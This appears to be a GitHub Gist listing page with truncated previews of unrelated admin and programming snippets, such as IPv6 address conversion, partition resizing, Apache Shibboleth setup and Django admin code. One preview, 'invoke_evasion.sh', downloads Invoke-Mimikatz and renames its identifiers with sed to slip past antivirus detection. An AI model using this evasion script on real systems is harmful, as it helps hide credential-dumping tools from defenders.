Skip to content

Instantly share code, notes, and snippets.

@wido
wido / mac2eui64.py
Created December 21, 2016 11:56
Python 3 48-bit MAC to EUI-64 IPv6
#!/usr/bin/env python3
import ipaddress
import re
def mac2eui64(mac, prefix=None):
'''
Convert a MAC address to a EUI64 address
or, with prefix provided, a full IPv6 address
'''
@matijs
matijs / README.md
Last active April 12, 2023 22:24
Resizing a partition and filesystem on a headless Raspberry Pi running Arch Linux using a USB drive

Resizing a partition and filesystem on a headless Raspberry Pi running Arch Linux using a USB drive

disclaimer: this worked for me, your mileage may vary. Your Pi, your responsibility :)

After putting Arch Linux on a 16GB SD card using these instructions, I ended up with about 14GB of free space.

Arch Linux uses one primary partition (/dev/mmcblk0p1) and an extended partition (/dev/mmcblk0p2) containing one logical partition (/dev/mmcblk0p5). The primary partition is the boot partition and the logical partition is the root partition. Rather than adding another primary partition I just wanted to resize the root partition and filesystem.

According to this bugreport parted no longer handles resizing of partitions and gparted needs a graphical environment to run. So I had to come up with something else to resize my partitions.

@PaulSec
PaulSec / invoke_evasion.sh
Created August 1, 2017 13:50
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
@floer32
floer32 / centos_python_env_setup
Last active May 2, 2022 03:47 — forked from stantonk/doit
CentOS 6: Install Python 2.7.4, pip, virtualenv, and virtualenvwrapper on CentOS (plus some bonus items at the end if you want). You should probably run with `sudo`.
#!/bin/bash
# Source: http://toomuchdata.com/2012/06/25/how-to-install-python-2-7-3-on-centos-6-2/
# Install stuff #
#################
# Install development tools and some misc. necessary packages
yum -y groupinstall "Development tools"
yum -y install zlib-devel # gen'l reqs
@elmotec
elmotec / bootstrap_cmdline.py
Last active December 1, 2021 17:14
Minimal python program with logging and argparse.
#!python
"""See main.__doc__"""
import os
import logging
import glob
import unittest
import sys
@alexpearce
alexpearce / ssotutorial.apacheconf
Last active October 21, 2021 02:31
Apache configuration file for a virtual host running Flask behind a uWSGI server, authentication with Shibboleth SSO
# Apache server configuration for ssotutorial.
# This sets up a Flask application over SSL with CERN SSO authentication via
# Shibboleth.
# Load the SSL and Shibboleth modules
LoadModule ssl_module modules/mod_ssl.so
LoadModule mod_shib /usr/lib64/shibboleth/mod_shib_22.so
# Disable TRACE HTTP requests on CERN advice
TraceEnable Off
#!/usr/bin/env python
import os
import sys
import platform
import requests
import requests.utils
import certifi
@lazywinadmin
lazywinadmin / Timeout.ps1
Created August 26, 2015 14:44
Timeout in powershell
#requires -Version 2
$maximumRuntimeSeconds = 3
$process = Start-Process -FilePath powershell.exe -ArgumentList '-Command Start-Sleep -Seconds 4' -PassThru
try
{
$process | Wait-Process -Timeout $maximumRuntimeSeconds -ErrorAction Stop
Write-Warning -Message 'Process successfully completed within timeout.'
@janikvonrotz
janikvonrotz / ConnectRemoteDesktopusingKeePassCredentials
Created November 13, 2013 13:46
Connect Remote Desktop using KeePass Credentials #KeePass #EmbededPost
cmd://"C:\Windows\System32\cmd.exe" /c cmdkey.exe /generic:TERMSRV/{S:SERVER} /user:{S:DOMAIN}{USERNAME} /pass:{PASSWORD} & mstsc.exe /v:{S:SERVER} & cmdkey.exe /delete:TERMSRV/{S:SERVER}
@Greymalkin
Greymalkin / gist:f892e52ec541a7220252ac31b6a2abb0
Last active April 12, 2020 14:35
Inline Admin aware of Parent Object and affecting Generic Foreign Key Content Type choices
# in models.py
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
class Screen(models.Model):
# Screen Model: Ties into all shows, drives instance selection when using generic foreign keys
name = models.CharField(max_length=50)
limit = (models.Q(
models.Q(app_label='case_story', model='casestoryshow') |